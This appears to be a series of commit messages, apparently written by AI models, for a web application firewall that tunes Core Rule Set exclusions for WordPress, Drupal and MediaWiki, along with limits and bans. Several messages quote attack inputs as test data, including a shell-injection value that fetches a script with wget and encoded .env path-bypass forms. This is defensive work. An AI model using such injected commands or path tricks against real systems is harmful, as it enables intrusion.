Each app's fixes are one .conf file, whose first rule skips the rest
unless Inspect sets tx.app_<name>, and one entry in apps. SWW_APPS names
each hostname's apps. A hostname gets only its apps' fixes; while
SWW_APPS is unset, every hostname gets every app's fixes.
A hostname in SWW_APPS that is not a DNS name, such as *.example.com,
stops the start. Unset, SWW_APPS is logged at start as null; set
empty, as "".
Model: opus-5-5
On /api.php, letitle and the generator fields gapto, gapprefix, gaifrom,
gaiprefix and geuquery skip 930120, 932120, 932250 and 932260, as the
fields they stand in for do.
On MediaWiki's pages, wpTitles from Special:EditWatchlist/raw, one title
per line, always skips 930120, 932120 and 932250. It skips 932125,
932230, 932235, 932260 and 932380 only when the body sends it once and it
holds no ";", "|", "&", backtick or "{", checked by a phase 2 rule. So
"; wget http://example.com/x.sh" is still refused.
Recorded from MediaWiki 1.46.2 at the digest the first MediaWiki change
used.
Model: opus-5-5
POST /user/password?_format=json with a mail of python3@example.com or
powershell@example.com was refused while bodies are read. On that path,
the JSON field mail now skips 932120 and 932260, the two rules the
recorded addresses set off, unless the query has a json.mail parameter.
Recorded from Drupal 11.4.11.
Model: opus-5-5
The Drupal and MediaWiki tests repeated the SQL and script attack strings,
which goconst reports. They now use the existing constant injection and a
new constant scriptTag.
Model: opus-5-5
Adds mediawiki.conf, the eleventh change: on MediaWiki's paths, the fields
that carry a search, a title, a name, a file name or an address skip the
four rules that read them as commands or system files, and the wikitext
fields skip the rules that refused saving a page. The reasons on the admin
pages skip only 930120 and 932120. /index.php counts as MediaWiki's only
with a page title in its query or after its path, since WordPress serves it
too. The requests recorded from MediaWiki 1.46.2, with and without short
URLs and on the admin pages, pass at the defaults and while bodies are
read. The app tests share the check of recorded requests and the list of
hard values.
Model: opus-5-5
POST /user/password?_format=json with a name of python3, powershell,
ls -la or .htaccess was refused while bodies are read. On that path,
the JSON field name now skips 930120, 932120, 932250 and 932260, the
four rules those recorded names set off, unless the query has a
json.name parameter. Recorded from Drupal 11.4.11.
Model: opus-5-5
Four tests closed a test server or stopped discriminator, and then
connected to its port. Another test process could take that port in
between and receive the connection.
- TestUnreachableRouteWatchLetsTheRequestThroughAndSaysWhy and
TestUnreachableRoutewatchFailsTheQueryAndTheLogOmitsTheClient, formerly
TestRefusedConnection..., point routewatch at 224.0.0.1, a multicast
address to which TCP cannot connect.
- TestStalledRemoteLogEndpointHoldsUpNoRequest keeps its endpoint open
and closes each connection it takes, instead of closing the endpoint.
- TestTheSiteAnswersWhileDiscriminatorIsStoppedAndStartedAgain gives
rproxy an address the test holds throughout. The test forwards each
connection there to the running discriminator, and closes it while
discriminator is stopped.
No change to non-test code.
Model: opus-5-5
Tests now share one Core Rule Set for each set of settings, loaded once
through sync.OnceValues in shared(). Exclusions-file tests and
TestCorazaWritesNoFile still load their own: loading is what they check.
Loading was not most of the time: the WordPress and Drupal recorded
requests, inspected one after another, were. Each recorded request now
runs as its own parallel subtest, with the same request and outcome.
Model: opus-5-5
Names, searches and the page to return to on more Drupal paths skip
the rules that misfire on them: 930120, 932120, 932250 and 932260,
plus 932230 and 932235 on destination only. An email address skips
930120, 932120 and 932260; the oEmbed url only 930120 and 932120.
Every Drupal path may carry a language prefix: a first segment of two
or three lowercase letters, such as /fr. Requests recorded from Drupal
11.4.11 with plain words, python3, powershell, ls -la and .htaccess are
added to the test data; tests show attacks and "; wget ..." still
refused on each new field.
Model: opus-5-5
A Drupal and a WordPress request are inspected at once, many times
over, on one Core Rule Set. Coraza v3.8.1 shares each rule's
exclusions between requests, so the test fails under -race.
Model: opus-5-5
Each field skips only the rules its recorded requests set off:
- page on all of wp-admin, and the JSON fields title, excerpt and name
on /wp/v2/ routes: 930120, 932120, 932250 and 932260;
- p, postId and slug on all of wp-admin, and the JSON slug on /wp/v2/
routes: 932120 and 932260, since WordPress writes these as slugs;
- url on the block editor's link previews and embeds, and a commenter's
url: 930120 and 932120.
Every field keeps 932235. Add 61 requests recorded from WordPress 7.1.4
with these fields.
Model: opus-5-5
Adds drupal.conf, the tenth change: on Drupal's paths, the fields that
carry a search, a name, a file name or an address skip the rules that
refused ordinary requests there. The recorded requests from Drupal 11.4
pass at the defaults and while bodies are read; SQL injection, path
traversal and script injection stay refused on those fields. Drupal's
tests share the reader of recorded requests and the attack constants
with the other apps' tests.
Model: opus-5-5
Add the ninth change: wordpress.conf switches off, per path and field, each
rule that refused ordinary WordPress 7.1.4 requests. Three groups of fields
skip four rules on system files and commands, and only the addresses of the
first group also skip 932235. Add the recorded requests, a test at the
defaults and reading bodies, and list WordPress in the README.
Model: opus-5-5 (rework); sonnet-5-5 (copied the recorded lines)
The first half of the naming audit: names now say what they are. `internal/waf` is `internal/coreruleset`. Log fields, the action `blocked_by_core_rule_set`, the metric and the alert event say Core Rule Set. Timings end `_ms`. Percentages say of what, as `rate_limit_percent` and `bytes_limit_percent`. Setting names follow in #234.
Judgement call: `blocked_by_core_rule_set`, not the audit's `core_rule_set_blocked`, to match `blocked_by_block_rule`.
Trips a reader: an existing state file holding `waf_blocked` or the anomaly scope `watch` stops the start and must be removed. `SWW_ALERT_EVENTS` listing `waf_block` must list `core_rule_set_match`.
Model: opus-5-5
The request log's `action` values now say what they mean, as sneak named them: `request_header_too_large`, `client_is_rate_limited`, `blocked_by_block_rule` and `client_denied`, with no aliases. `banned` splits into `temporarily_banned` and `permanently_banned`, by whether the ban runs out. When a permanent ban also covers a client, that ban is the one reported.
Trips a reader: a request over a rate limit stays `client_is_rate_limited` even when the ban it makes is permanent.
Disclosure: the offence key `rule_blocked` is renamed in `clients.json` too, so an existing file holding it stops the start and must be removed. Its `version` stays 1.
Model: opus-5-5
With `SWW_ROUTEWATCH_URL` set, a new heuristic, `routewatch_tags`, adds `asn=<number>` and `prefix=<netblock>` to a request from what a routewatch instance answers about the client. New package `internal/routewatch` asks in the background, never on a request's path, and keeps answers 1 hour in memory. The request log gains `routewatch_tags_missing`, saying why a request has none. `prefix=` works in `SWW_TAG_DENY` and `SWW_TAG_LIMIT_PERCENT`.
Trips a reader: a client's first request has no routewatch tags, so `prefix=` refuses from its next request after the answer comes.
Judgement call: with `SWW_LOOKUP_SOURCE=off` and `SWW_ROUTEWATCH_URL` set, an `asn=` tag no longer stops the start.
Model: opus-5-5
Each request gets tags, logged as `tags`: `asn=`, `country=`, one per `SWW_TAG_LISTS` list holding the client, `crowdsec`, `dnsbl=<zone>`, `abuseipdb` and `exploitsignature`. `SWW_TAG_DENY` refuses by tag and `SWW_TAG_LIMIT_PERCENT` lowers limits by tag. They replace `SWW_ASN_LIMIT_PERCENT`, `SWW_COUNTRY_LIMIT_PERCENT` and `SWW_DENIED_COUNTRIES`, with no aliases. A tag in those settings that nothing configured can give stops the start.
Judgement call: `SWW_ASN_LIMIT_PERCENT_URL` stays, its entries counting like `asn=` tags.
Judgement call: `SWW_TAG_LIMIT_PERCENT` also lowers byte limits, as the settings it replaces did.
Trips a reader: `sww_country_list_refusals_total` now counts only `SWW_EXCLUSIVELY_ALLOWED_COUNTRIES` refusals.
Model: opus-5-5
`script/publish` runs `script/docker` against the Docker host and pushes the image to the registry under four tags: the UTC date, the short commit hash, the branch name and `latest`. It refuses a working tree with uncommitted changes, since the hash tag names a commit.
Also carries sneak's `golines -m 77` line wrapping in three files, with no code change.
Unverified: a real build on the Docker host and a real push from this commit.
Deviation: sneak's FIXME comments are out, because the linter refuses them; they are #227, #228 and #229.
Model: opus-5-5
Co-authored-by: sneak <sneak@sneak.berlin>
Each discriminator check is now a type in its own file behind one small interface, listed in `heuristics.go`. Adding a heuristic is one file and one line. Behaviour does not change.
Refusal and ban log lines gain `heuristic` and `heuristic_figures`. A ban after the answer, by `refusal_limit` or `byte_limits`, logs `after_answer_heuristic` and its figures, so one line can name both.
Deviation: four lists, not the planned three, so `refusal_limit` still bans at the decision.
Rule suppressed: `//nolint:lll` on one struct tag.
Model: opus-5-5
New defaults, as sneak approved: 120 requests a minute, 1,500 an hour and 6,000 a day; bytes off a minute, 50G an hour and 100G a day. The README, `SPEC.md`, `docs/settings.md` and `docs/gitea.md` give the new figures and reasoning, and point Actions runners and shared addresses at `SWWAF_RATE_LIMIT_EXEMPT_NETS`. The README examples now hold against the new defaults.
An Actions runner that is not exempted makes more requests an hour than the new limit and will be banned.
Model: opus-5-5
The package passes nothing on since the one-process mode went: it answers rproxy's questions, takes its reports and answers servewaf's own endpoints. It is now named after the command it serves, with `git mv`, and its constructor is `servewaf.New`. `SPEC.md` and the other documents follow. No change of behaviour.
Model: opus-5-5
`smallwebwaf` with no command now prints the commands and exits with status 2.
The image runs rproxy, or servewaf with SMALLWEBWAF_COMMAND=servewaf. The
passing-on code, its settings and its log fields and metric go. internal/proxy
keeps the checks, answers, reports and own endpoints; its tests run through the
real rproxy. The documents describe the pair.
Judgement call: clients.json keeps token_refused, since state files refuse unknown fields.
Deviation: script/gitea-requests sets SWWAF_LOG_REQUEST_HEADERS, to label requests.
Partially verified: make example-app and make gitea-requests never built the image, as Ubuntu's snapshot service answered 5xx.
Model: opus-5-5
`smallwebwaf rproxy` reads the first 64 KiB of each body, asks servewaf over
HTTP/1.1, and passes what servewaf allows to the app within its limits. Any
other answer goes to the visitor as servewaf gave it. SWRP_DEFAULT_DISPOSITION
decides only when servewaf cannot be connected to, does not answer at all, or
does not answer within SWRP_TIMEOUT_MS. A method SPEC.md does not list gets 405.
Duplication: internal/rproxy copies passing-on code from internal/proxy until
#172 removes the originals.
Rule suppressed: gosec G704 and G705; gosec at
internal/smallwebwaf/rproxy_test.go:431; tagliatelle at
internal/requestlog/requestlog.go:203; paralleltest on one test.
Judgement call: an answer over 1 MiB, or with a status below 200, gets 502.
Judgement call: every target not starting with one / gets 400.
Model: opus-5-5
A question waits on GeoJS at most 800ms, the new default of
SWWAF_LOOKUP_TIMEOUT. In enforce mode it does not wait at all when it is
over the header limits, on a fetched blocklist with deny, on the CrowdSec
decision list, or over a whole rate limit. Not waiting never lowers a
client's limit. Just before the Core Rule Set, servewaf refuses more than
50 cookies or 100 header fields with 431.
Shared default changed: SWWAF_LOOKUP_TIMEOUT also applies to smallwebwaf
with no command.
Judgement call: SWWAF_REPUTATION_TIMEOUT stays 2s, since no request waits
on the DNS blocklists or AbuseIPDB.
Model: opus-5-5
`smallwebwaf servewaf` runs today's checks on the visitor's request each
question carries, answers rproxy, and passes nothing to an app. rproxy reports
every request servewaf answered. A report counts an allowed request's bytes and
writes servewaf's second log line. The table holds a copy of what a report
needs, never the request, so a report cannot reach a request being handled.
Judgement call: a question's body is read before any check; over 64 KiB gets 400.
Judgement call: a report's bytes and durations have ceilings, so they cannot overflow.
Judgement call: a `close` disposition for SWWAF_BAN_RESPONSE=close.
Model: opus-5-5
The default request limits now suit programmatic use of an API, such
as an automation fleet on another host, and still catch abusive bots:
- per minute: 500, room for a fleet's busiest minute and a few first
visits with an empty cache, and passed within seconds by a client
firing as fast as it can;
- per hour: 20000, passed by a client that keeps up 6 a second;
- per day: 300000, passed by a scraper that keeps up 4 a second.
The byte limits and ban lengths are unchanged. SPEC.md, README.md and
docs/settings.md give the reasons; docs/gitea.md redoes the Actions
runner sums.
Judgement call: the docs/alerts.md ban example shows the minute limit.
Model: opus-5-5
TestHealthCheck closed the app's server, and later smallwebwaf, and
expected connections to the freed ports to fail. Another test could take
such a port in between, so the connection succeeded and the test failed.
The failing app check now uses the multicast address 224.0.0.1, to which
TCP cannot connect. The failing smallwebwaf check uses port 0, on which
nothing listens. Neither result depends on other processes. The test now
stops smallwebwaf after its last check, so that it exits before the
test's temporary directories are removed. The code under test is
unchanged.
Model: opus-5-5
The request limits and the hour and day byte limits now sit about twice
above what 40 people busy with heavy web apps make together on one
address:
- requests: 6000 a minute, 100,000 an hour, 1,000,000 a day;
- bytes: 20 GiB an hour, 200 GiB a day.
The largest response drops from 5 GiB to 1 GiB. The minute byte limit
of 4 GiB is sized to hold two of the largest responses with their
requests. SPEC.md gives the new reasoning; README.md and the reference
documents give the new figures.
Model: opus-5-5
SPEC.md is the only place that says how smallwebwaf behaves and why; docs/ holds lists linking to it; the README is short and links to both. Passed independent review in round 8.
Model: fable-5-1 (writing); opus-5-5 (review, merge)
A netblock's next ban for a broken limit within
SWWAF_LIMIT_BAN_REPEAT_WINDOW lasts three times its last limit or admin
ban. A hand-written entry with an expires at or before its start made
that length zero or less, so the next limit ban refused nothing. The
bans.json checks now refuse such an entry: it stops the start, and an
edit holding one is set aside as bans.json.bad while running. README's
"State files" lists it with the other refused entries.
Model: opus-5-5
Go's server adds a Content-Type it guesses from the body when the
response's headers have no Content-Type key, which happened to some
of the app's answers and not others, as the first part of the body or
the headers went out first. When the app sends none, smallwebwaf now
sets the key with no value on the client's response, which sends none.
Model: opus-5-5
ReverseProxy sends the path URL.EscapedPath gives, which decodes and
escapes again a path holding a character such as |, turning %2F into /.
The path as sent now goes in URL.Opaque, which Go sends as it is; the
rate limit and WAF exempt paths and the log line's path use the same
path. A path starting with // is left as before: Go would send it in
Opaque as a scheme and host.
Model: opus-5-5
ReverseProxy refuses a 101 whose Upgrade is not the one the client asked
for, but modifyResponse had already counted the 101 as sent, so
answerError sent nothing and the client got an empty 200. The 101 now
counts as sent only once ReverseProxy has taken over the client's
connection, and answerError closes the app's switched connection, which
ReverseProxy leaves open when it refuses the switch.
Model: opus-5-5
When less than 256 KiB of a client's body is left after the app has
answered, the rest is read by closing the body, which the transport,
ReverseProxy and Go's server each do, not through requestBody.Read.
waiting was then false, so a request timeout that ran out took the 504
branch, which set no read deadline, and the request held its connection
for as long as the client kept it open. Once the app has answered, that
branch now ends reading the client's body at once, whichever of
SWWAF_CLIENT_REQUEST_TIMEOUT and SWWAF_UPSTREAM_REQUEST_TIMEOUT ran out.
Model: opus-5-5
earlierBans took the counts in the notes of the netblock's first ban
held, so a ban dropped after an admin's ban, which came first, went
uncounted. Each ban held now gives a count, its notes' counts plus one
for it and each ban held after it, and the count that names the most
bans is taken whole. Counting from the newest ban alone would lose the
bans before an admin's ban added to bans.json without notes; taking
each cause from a different count would count twice a ban an admin
keeps, which later bans' notes count under its old cause.
Model: opus-5-5
When the app answered before the client had sent its whole body, and its
answer ended with its last bytes, every timeout was stopped,
SWWAF_CLIENT_REQUEST_TIMEOUT included. The transport went on waiting to
read the body, and Go's server cannot send the answer until that read
returns, so a client that stopped sending held the request until it
closed the connection. The timeouts now run on until the client has sent
its body, as they do before the app answers: once
SWWAF_CLIENT_REQUEST_TIMEOUT runs out the client is sent the app's
answer, the connection is closed, and the log line says timed_out.
Model: opus-5-5
checkClient read the time before the lookup, which can wait for GeoJS
up to SWWAF_LOOKUP_TIMEOUT, and the rate limits counted the request at
that time. Two requests of a new client waiting across the end of a
minute could then be counted out of order, and the one dated more than a
second before the minute under way began made the rate limits start
that window afresh, as for a clock set back: the other request's count
was lost. The checks after the lookup now read the time again.
Model: opus-5-5
A path rule matched only the path as the client sent it, so /%2eenv got
past the default env-file rule while an app that decodes the path
serves /.env. A path rule now matches the path as sent or decoded once,
as a uri rule already did, and so does a path in SWWAF_TRAP_PATHS:
/%77p-login.php matches /wp-login.php. The query is cut off before the
path is decoded, and the path is decoded only once, so /%252eenv is not
/.env. A ban's notes keep the path as sent. SPEC.md and README.md say
so.
Model: opus-5-5
SWWAF_WAF_BODY_LIMIT (default off, at most 1G) has the Core Rule Set read
form data and multipart up to the limit, the rest streaming on, and JSON
and XML no larger than it, with text/json and the application and text
types ending in +json or +xml. The part read is held for the app. A size
or time limit met while reading ends the request. Content-Encoding is
refused again on these kinds. A body Coraza cannot parse, or a multipart
body failing its strict checks, adds 5, as does a multipart body the limit
cuts in a part's headers before a colon or a line feed. Coraza is built
with no_fs_access, so writes no file. Rule 900300 moves to phase 2.
Judgement call: Content-Encoding is refused on a JSON or XML body too
large to read, as SPEC.md allows.
Model: opus-5-5
Coraza v3.8.1 runs the Core Rule Set 4.25.0 (coraza-coreruleset v4.25.0)
after the rule files, with the six changes and the default
SWWAF_WAF_DISABLED_RULES that SPEC.md gives; no body, no response. The
parameter names in the third and fourth changes are matched in any case,
as Coraza does. SWWAF_WAF_DISABLED_RULES refuses 900000 to 900999,
smallwebwaf's own rules. A request with more than 1000 query parameters
adds 5 (rule 900300). In block mode a match is refused with 403, an
offence counted toward the error burst; in detect mode it is let
through. Both log waf_rule_ids, waf_score and duration_waf, raise
waf_block, and count smallwebwaf_waf_matches_total.
Judgement call: waf_block is raised in block mode too.
Deviation: no engine-error path; with no body read, Coraza cannot fail.
Model: opus-5-5
Twelve tests in internal/proxy needed the GeoJS stand-in to be asked or
to answer within the default SWWAF_LOOKUP_TIMEOUT of one second on the
real clock. A hold-up of the test process past it abandoned the request
to the stand-in, or left the client unknown. Each now sets
SWWAF_LOOKUP_TIMEOUT to an hour, and the comment on startGeoJS asks the
same of later tests.
Judgement call: set in each test, not as a default in newProxy, where it
would change two tests that rely on the default second.
Model: opus-5-5
SWWAF_TRAP_PATHS: a request whose path, as a path rule sees it, is one
of them is a clear sign of attack, banned as a ban rule's match is; the
ban's notes give its trap_path. Checked after the rate limits, before the
rule files.
SWWAF_ERROR_BURST_THRESHOLD (default 30, or off): more refusals in a
minute after a block or ban rule or a trap path, or for a missing or
wrong token, ban the client as a broken limit does. Counted in
clients.json's minute_refusals; limit_hit error_burst, notes kind
refusals.
A token refusal is now the offence token_refused, and
smallwebwaf_offences_total counts every kind the history does.
Judgement call: the threshold is not lowered by a client's limit percentage.
Model: opus-5-5
SWWAF_CROWDSEC_LAPI_URL and SWWAF_CROWDSEC_LAPI_KEY name an engine whose
decision list, <url>/v1/decisions, is fetched every minute with the key in
X-Api-Key, following no redirect, and kept as a blocklist is: used while a
fetch fails, and across restarts through reputation.json. Ban decisions on an
Ip or a Range end at the fetch time plus their duration. A listed client's
request is refused and bans its netblock with the cause crowdsec until the
decision ends; bans.json, ban notes and metrics take the cause.
Judgement call: fetched every minute, not a setting.
Judgement call: a crowdsec ban never lengthens a limit ban.
Judgement call: a lifted crowdsec ban is remade while its decision lasts.
Model: opus-5-5
A ban's notes, in bans.json and in its alert, gain `reputation`: each
blocklist, DNSBL zone or AbuseIPDB that listed the client when the ban
was made, as its `source`, named and ordered as in the request log's
`reputation`, with AbuseIPDB's `score`. It is left out when none did.
README.md shows it in a bans.json example.
Notes now hold a list, so bans can no longer be compared with ==: the
tests compare them with reflect.DeepEqual.
Judgement call: the score is a pointer, so a score of 0, a hit while
SWWAF_ABUSEIPDB_MIN_SCORE is 0, is still written.
Model: opus-5-5
The IPv6 group that is one client, the size of the table of clients and
the level of the process's own lines become settings. clientGroup reads
the group length from them, so limits, bans, history, lookups, AbuseIPDB
scores and per-client anomaly counters all follow it; ratelimit.New
takes the table size; the process logger takes the level once the
settings are read, and request lines, written apart from it, are never
held back.
Judgement call: SWWAF_IPV6_GROUP_PREFIX accepts 32 to 128, the issue's example range.
Model: opus-5-5
With SWWAF_ABUSEIPDB_KEY set, a client whose history counts an offence
(a broken limit, a ban rule's match or a block rule's refusal, counted
by kind) is checked in the background, at most
SWWAF_ABUSEIPDB_DAILY_BUDGET checks a day, the count kept in
reputation.json. A client, an IPv4 address or an IPv6 /64, is checked by
the address it sent from, and its score serves all its addresses. A
score at or over SWWAF_ABUSEIPDB_MIN_SCORE is a hit for
SWWAF_REPUTATION_ACTION, logged as abuseipdb and alerted with its score.
A failure or the used-up budget gives no score and raises
source_failure. The key goes only in the Key header.
Judgement call: the budget's day is UTC; AbuseIPDB documents no reset time.
Judgement call: each check sent spends budget; a minute's pause after a failure.
Model: opus-5-5
sneak
clawbot